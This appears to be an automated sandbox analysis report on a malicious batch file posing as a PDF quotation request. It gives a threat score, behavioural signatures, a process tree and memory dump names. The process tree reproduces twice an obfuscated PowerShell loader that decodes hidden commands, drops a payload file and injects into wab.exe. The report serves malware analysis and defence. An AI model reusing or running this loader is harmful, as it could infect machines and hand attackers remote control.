Analysis
- max time kernel
298s - max time network
205s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
31/07/2026, 03:30
General
- Target RFQ NTU SG855·pdf.bat
- Size 3KB
- Sample260731-d2fsxstand
- SHA256 c0187621b5f791c0706054050e7c45f0afe0706714c6f6942888d1025729bfe8
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Network Service Discovery 1 TTPs 2 IoCs
Attempt to gather information on host's network.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 21 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RFQ NTU SG855·pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "[void](Get-Process);Get-Service | Out-Null;$fernisseru=-48915+48915;[void](Get-Date);$connoi=11622-5622;function Zlim { 'plugh' };function skindpelse ($mandril,$egnsp) {$thimb=subgen(@(119,206,211,207,183,211,219,205,128,195,234,208,197,137,150,198,186,207,229,209,124)) ;Skyd ($thimb)}function Blerp { 'xyzzy' };function subgen ($haylo) { do {$lillib=$mandrildmiralsta[$fernisseru%4];$haylo[$fernisseru]-=$lillib;$connoi=$haylo[$fernisseru];$connoi=[char]$connoi;$phragmoid+=$connoi;$fernisseru++} while ($haylo[$fernisseru])$phragmoid}function Glarp { 'morf' };function Skyd ($plenumm) {.($blegend) $plenumm}function Zorgle { 'gloop' };Function Actioni ($haylo,$kontrolko=0){$reci=subgen(@(174,164,225,207,201,198,228,213,176,155,172,167,197,208,223,163,180,212,215,151,135,180,230,211,188,207,217,137,119,201,211,218,191,208,155));$staruttern=@(Skyd ($reci));For($udst=0; $staruttern[$udst] -ne $indf; $udst++){$staruttern[$udst] = skindpelse $staruttern[$udst] $mandrildmiralsta[$udst%4]}$dexykildet=subgen(@(128,203,225,202,193,129,205,196,187,194,228,188,176,190,150,212,199,194,228,214,199,213,215,211,193));$rensels=Skyd ($dexykildet);if ($kontrolko) { Skyd $rensels}else {;$rensels}}[void](Get-Location);$mandrildmiralsta=@(83,97,114,97);Get-Service | Out-Null;$blegend=subgen @(156,166,202);[void](Get-Process);$fotokop='\Dramaturgi.Sim';$vinke=Actioni 'Zk9CQXs2Gw83DgUScy8mQWJRXFFoQSUIPVdGWnMZRFVoQQAXaVBHU31RW0EUBBEKPE5AUWJRQlBjUFInOhMXBzwZXVBmU1xR';[void](Get-Date);$leuk=Actioni 'OxUGESBbXU43ExsXNk8VDjwGHgR9Ah0MfBQRXjYZAg4hFU8FPBYcDTwAFkc6BU9QPCMrAGQbNAcrBEIAIS8cGAs3JywnGDARBFUwJyQRCyA=';$egnspescribbl=Actioni 'HhIKDD9TXDI2EwQEITk/LRs1JjF9V1xR';Get-Location | Out-Null;$taelle=Actioni 'FCQm';$longshi=Actioni 'BhIXE34gFQQ9FQ==';$egnspedrow=Actioni 'bQ==';[void](Get-Process);Actioni 'dwYeDjEAHlsgDh4INwAACCcET0U2DwRbMhECBTIVE0p3Bx0VPAodEQ==' 1;Actioni 'dwYeDjEAHlslAAAEPRQfXHcNFxQ4TwERPwgGSXcEFQ8gERcFIQ4FSA==' 1;$leuk=$varenum[0];Get-Service | Out-Null;Actioni 'dwYeDjEAHls0AB4OIQQbXB0EBUwcAxgEMBVSTBAOH0F3BBUPIBEXEjATGwMxDQ==' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1;while (!$paras215) {[void](Get-Date);Actioni 'dwYeDjEAHlsSDxUNPAwTD2tRT0UnEwcE' 1;Actioni 'dwYTDTwTFwh9DgIEPUlWFTIEHg02TVJFPwQHCn9BVgcyDQEEeg==' 1;Actioni 'dwYTDTwTFwh9EhcVAQQDFDYSBik2ABYEIUlWDTwPFRI7CF5BdxcbDzgEWw==' 1;Get-Location | Out-Null;Actioni 'dwYTDTwTFwh9EhcPN0lb' 1;Actioni 'dwYeDjEAHlsgFQcFbkUVAD8OAAQ6TwEVMhUHEnNMFxBzU0JR' 1;if ($stud) {[void](Get-Process);Actioni 'CAMLFTY6Lzx3Bh4OMQAeWz4ABhM6DRMVNlxWBjINHRM2CFwTNhICDj0SFyM8BQs=' 1;Actioni 'IAJSRSAOHgg3AAAIJwRSRT4ABhM6DRMVNkFfJD0CHQU6DxVBERgGBA==' 1} Get-Service | Out-Null;Actioni 'AA0XBCNJRkg=' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1 ;Actioni 'dwYeDjEAHlsmBRkNOhFPRTQNHQMyDUgCPBMXDDxKWUR3FxMTNg8HDH0CHRQ9FQ==' 1;[void](Get-Date);$leuk=$varenum[$udklip]}$vete=167278;Get-Location | Out-Null;$grayh=14547;Actioni 'dwYeDjEAHls6Dx0JKlNCUm4GEUF3Eh0NOgUTEzoVFw==' 1;Actioni 'dwYeDjEAHlsBFAYEIQ9POhAOHBc2EwY8aVs0EzwMMAAgBERVABUACD0GWkU6Dx0JKlNCUno=' 1;[void](Get-Process);Actioni 'dwYeDjEAHlsxBB4AMQ5POgcEChV9JBwCPAUbDzQ8SFsSMjEoGk81BCcyBhM6DxVJdzMHFTYTHEg=' 1;Actioni 'dwYeDjEAHlskCBwKNgUWXHcDFw0yAx1PIBQQEicTGw80SVYXNhUXTXcGAAAqCVs=' 1;Skyd $winkedd;function Xyzzy { 'plugh' };;#BegrnseiexBorland Brudefrdsv Surgi ;"2⤵
- Badlisted process makes network request
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "[void](Get-Process);Get-Service | Out-Null;$fernisseru=-48915+48915;[void](Get-Date);$connoi=11622-5622;function Zlim { 'plugh' };function skindpelse ($mandril,$egnsp) {$thimb=subgen(@(119,206,211,207,183,211,219,205,128,195,234,208,197,137,150,198,186,207,229,209,124)) ;Skyd ($thimb)}function Blerp { 'xyzzy' };function subgen ($haylo) { do {$lillib=$mandrildmiralsta[$fernisseru%4];$haylo[$fernisseru]-=$lillib;$connoi=$haylo[$fernisseru];$connoi=[char]$connoi;$phragmoid+=$connoi;$fernisseru++} while ($haylo[$fernisseru])$phragmoid}function Glarp { 'morf' };function Skyd ($plenumm) {.($blegend) $plenumm}function Zorgle { 'gloop' };Function Actioni ($haylo,$kontrolko=0){$reci=subgen(@(174,164,225,207,201,198,228,213,176,155,172,167,197,208,223,163,180,212,215,151,135,180,230,211,188,207,217,137,119,201,211,218,191,208,155));$staruttern=@(Skyd ($reci));For($udst=0; $staruttern[$udst] -ne $indf; $udst++){$staruttern[$udst] = skindpelse $staruttern[$udst] $mandrildmiralsta[$udst%4]}$dexykildet=subgen(@(128,203,225,202,193,129,205,196,187,194,228,188,176,190,150,212,199,194,228,214,199,213,215,211,193));$rensels=Skyd ($dexykildet);if ($kontrolko) { Skyd $rensels}else {;$rensels}}[void](Get-Location);$mandrildmiralsta=@(83,97,114,97);Get-Service | Out-Null;$blegend=subgen @(156,166,202);[void](Get-Process);$fotokop='\Dramaturgi.Sim';$vinke=Actioni 'Zk9CQXs2Gw83DgUScy8mQWJRXFFoQSUIPVdGWnMZRFVoQQAXaVBHU31RW0EUBBEKPE5AUWJRQlBjUFInOhMXBzwZXVBmU1xR';[void](Get-Date);$leuk=Actioni 'OxUGESBbXU43ExsXNk8VDjwGHgR9Ah0MfBQRXjYZAg4hFU8FPBYcDTwAFkc6BU9QPCMrAGQbNAcrBEIAIS8cGAs3JywnGDARBFUwJyQRCyA=';$egnspescribbl=Actioni 'HhIKDD9TXDI2EwQEITk/LRs1JjF9V1xR';Get-Location | Out-Null;$taelle=Actioni 'FCQm';$longshi=Actioni 'BhIXE34gFQQ9FQ==';$egnspedrow=Actioni 'bQ==';[void](Get-Process);Actioni 'dwYeDjEAHlsgDh4INwAACCcET0U2DwRbMhECBTIVE0p3Bx0VPAodEQ==' 1;Actioni 'dwYeDjEAHlslAAAEPRQfXHcNFxQ4TwERPwgGSXcEFQ8gERcFIQ4FSA==' 1;$leuk=$varenum[0];Get-Service | Out-Null;Actioni 'dwYeDjEAHls0AB4OIQQbXB0EBUwcAxgEMBVSTBAOH0F3BBUPIBEXEjATGwMxDQ==' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1;while (!$paras215) {[void](Get-Date);Actioni 'dwYeDjEAHlsSDxUNPAwTD2tRT0UnEwcE' 1;Actioni 'dwYTDTwTFwh9DgIEPUlWFTIEHg02TVJFPwQHCn9BVgcyDQEEeg==' 1;Actioni 'dwYTDTwTFwh9EhcVAQQDFDYSBik2ABYEIUlWDTwPFRI7CF5BdxcbDzgEWw==' 1;Get-Location | Out-Null;Actioni 'dwYTDTwTFwh9EhcPN0lb' 1;Actioni 'dwYeDjEAHlsgFQcFbkUVAD8OAAQ6TwEVMhUHEnNMFxBzU0JR' 1;if ($stud) {[void](Get-Process);Actioni 'CAMLFTY6Lzx3Bh4OMQAeWz4ABhM6DRMVNlxWBjINHRM2CFwTNhICDj0SFyM8BQs=' 1;Actioni 'IAJSRSAOHgg3AAAIJwRSRT4ABhM6DRMVNkFfJD0CHQU6DxVBERgGBA==' 1} Get-Service | Out-Null;Actioni 'AA0XBCNJRkg=' 1;Actioni 'dwYeDjEAHlsjAAAAIFNDVG5JJgQgFV8xMhUaQXcSHQ06BRMTOhUXSA==' 1 ;Actioni 'dwYeDjEAHlsmBRkNOhFPRTQNHQMyDUgCPBMXDDxKWUR3FxMTNg8HDH0CHRQ9FQ==' 1;[void](Get-Date);$leuk=$varenum[$udklip]}$vete=167278;Get-Location | Out-Null;$grayh=14547;Actioni 'dwYeDjEAHls6Dx0JKlNCUm4GEUF3Eh0NOgUTEzoVFw==' 1;Actioni 'dwYeDjEAHlsBFAYEIQ9POhAOHBc2EwY8aVs0EzwMMAAgBERVABUACD0GWkU6Dx0JKlNCUno=' 1;[void](Get-Process);Actioni 'dwYeDjEAHlsxBB4AMQ5POgcEChV9JBwCPAUbDzQ8SFsSMjEoGk81BCcyBhM6DxVJdzMHFTYTHEg=' 1;Actioni 'dwYeDjEAHlskCBwKNgUWXHcDFw0yAx1PIBQQEicTGw80SVYXNhUXTXcGAAAqCVs=' 1;Skyd $winkedd;function Xyzzy { 'plugh' };;#BegrnseiexBorland Brudefrdsv Surgi ;"1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_zhe1tm5b.2fn.ps1
Dramaturgi.Sim
memory/456-60-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/456-45-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/5548-0-0x0000027D81C10000-0x0000027D81C20000-memory.dmp
memory/5548-9-0x0000027DFFF50000-0x0000027DFFF72000-memory.dmp
memory/5548-10-0x0000027D81C10000-0x0000027D81C20000-memory.dmp
memory/5548-1-0x0000027D81C10000-0x0000027D81C20000-memory.dmp
memory/5860-31-0x00000000066C0000-0x000000000670C000-memory.dmp
memory/5860-17-0x00000000056D0000-0x0000000005CF8000-memory.dmp
memory/5860-28-0x0000000005FA0000-0x00000000062F4000-memory.dmp
memory/5860-19-0x0000000005DD0000-0x0000000005E36000-memory.dmp
memory/5860-30-0x0000000006620000-0x000000000663E000-memory.dmp
memory/5860-18-0x0000000005D30000-0x0000000005D52000-memory.dmp
memory/5860-34-0x0000000006BB0000-0x0000000006BD2000-memory.dmp
memory/5860-33-0x0000000006B60000-0x0000000006B7A000-memory.dmp
memory/5860-32-0x0000000007610000-0x00000000076A6000-memory.dmp
memory/5860-35-0x0000000007C60000-0x0000000008204000-memory.dmp
memory/5860-36-0x0000000008890000-0x0000000008F0A000-memory.dmp
memory/5860-20-0x0000000005EF0000-0x0000000005F56000-memory.dmp
memory/5860-38-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/5860-39-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/5860-40-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/5860-41-0x00000000082C0000-0x00000000082C3000-memory.dmp
memory/5860-42-0x0000000008F10000-0x000000000D4E5000-memory.dmp
memory/5860-43-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/5860-44-0x00000000082C0000-0x00000000082C3000-memory.dmp
memory/5860-16-0x0000000002D00000-0x0000000002D36000-memory.dmp
memory/5860-15-0x0000000002CC0000-0x0000000002CD0000-memory.dmp